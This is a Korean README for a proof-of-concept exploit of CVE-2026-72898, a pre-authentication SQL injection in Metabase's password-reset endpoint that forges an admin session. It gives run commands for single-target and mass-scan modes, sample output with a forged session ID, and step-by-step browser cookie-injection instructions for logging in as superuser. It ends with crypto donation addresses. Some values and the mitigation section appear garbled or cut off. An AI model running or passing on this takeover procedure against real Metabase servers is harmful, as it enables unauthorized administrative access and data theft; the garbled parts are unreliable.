
CVE-2026-72898에 대한 PoC 익스플로잇으로, Metabase의 비밀번호 재설정 엔드포인트에서 발생하는 인증되지 않은 SQL 인젝션 취약점입니다. 관리자 세션을 위조하여 완전한 탈취를 수행하며, 승인된 테스트를 위한 단일 대상 및 대량 스캔 모드를 지원합니다.
Metabase 사전 인증 SQL 인젝션을 통한 관리자 계정 탈취
CVE-2026-72898에 대한 개념 증명(PoC)으로, Metabase의 비밀번호 재설정 엔드포인트에서 발생하는 치명적인 인증되지 않은 SQL 인젝션입니다. 이 PoC는 core_session 테이블에 위조된 관리자 세션 행을 삽입한 다음, 이를 사용하여 자격 증명 없이 완전한 관리자 세션을 검증합니다.
참고: 이 PoC는 허가된 보안 테스트 및 연구 목적으로만 사용하십시오. CVE-2026-72898은 CISA KEV(Known Exploited Vulnerabilities) 카탈로그에 등재되어 있으며 실제 환경에서 활발히 악용되고 있습니다. 시스템을 테스트하기 전에 모든 관련 법률을 준수하고 서면 승인을 받을 책임은 사용자에게 있습니다.
requests 라이브러리의존성 설치:
pip install requests
python cve-2026-72898_poc.py -t http://192.168.1.1:3000
python cve-2026-72898_poc.py -T targets.txt
CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------
Target: http://192.168.1.1:3000
[1] GET http://192.168.1.1:3000/ -> 200
[2] POST /api/session/reset_password -> 400
(expected: Invalid reset token, SQLi executed)
[3] GET /api/user/current -> 200
[+] VULNERABLE
session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
admin email: [email protected]
2단계에서 Invalid reset token과 함께 400 응답이 반환되는 것은 정상입니다. 이는 SQLi 페이로드가 실행되었고 응답이 조기 종료되었음을 의미합니다. 3단계에서 /api/user/current가 200을 반환하면 위조된 세션이 유효함이 확인됩니다.
결과 상태: vulnerable | not_vulnerable | patched | root_not_200 | unknown | error
Metabase는 `metabase.SESSION` 쿠키에서 세션을 읽으므로, 해당 쿠키를 추가하면 위조된 관리자로 웹 UI에 로그인할 수 있습니다:
**Google Chrome / Edge / Chromium**
1. PoC를 실행하고 출력된 `session id`를 복사합니다
2. `http://TARGET/`를 열고 `F12`(개발자 도구)를 누릅니다
3. **Application**(Edge: **Application**, Chrome: **Application**) → **Storage** → **Cookies** → 대상 호스트를 선택합니다
4. **+**(쿠키 추가) 버튼을 클릭하고 다음 항목을 입력합니다:
- **이름**: `metabase.SESSION`
- **값**: `<SESSION_ID>` (PoC가 출력한 값)
- **도메인**: 대상 호스트/IP(예: `192.168.1.1` 또는 `.example.com`)
- **경로**: `/`
- 만료 시간을 먼 미래로 설정합니다(또는 "Session" 클릭)
5. **저장**을 클릭한 후 페이지를 새로고침합니다
6. 이제 슈퍼유저로 인증되었습니다 — 관리자 톱니바퀴 아이콘이 표시됩니다
**Firefox**
1. PoC를 실행하고 출력된 `session id`를 복사합니다
2. `F12`를 누르고 → **Storage** 탭 → **Cookies** → 대상 호스트를 선택합니다
3. 마우스 오른쪽 버튼 클릭 → **Add/Edit Cookie** 선택 후 다음을 추가합니다:
- **이름**: `metabase.SESSION`
- **값**: `<SESSION_ID>`
- **경로**: `/`
- **HttpOnly**: 체크 해제(JS가 설정)
- **Secure**: 일반 HTTP에서는 체크 해제
4. 저장하고 페이지를 새로고침합니다
**대안: 쿠키 편집 확장 프로그램**
쿠키 편집 확장 프로그램(예: Cookie-Editor)을 사용하여 대상 도메인에 위조된 값을 가진 `metabase.SESSION` 쿠키를 추가한 다음 새로고침합니다.
**브라우저 콘솔에서**
```js
fetch('/api/user/current', { headers: { 'X-Metabase-Session': '<SESSION_ID>' } })
.then(r => r.json()).then(console.log)
/api/session/reset_password를 차단합니다이 프로젝트가 도움이 되었다면 개발을 후원해 주세요:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE

| 인자 | 설명 | 기본값 |
|---|
-t, --target | 단일 대상 URL | - |
-T, --targets | 대상 URL이 포함된 파일(줄당 하나) | - |
-o, --output | 결과 파일(탭으로 구분: target, result, status, session_id, admin_email) | - |
--timeout | 요청 제한 시간(초) | 15 |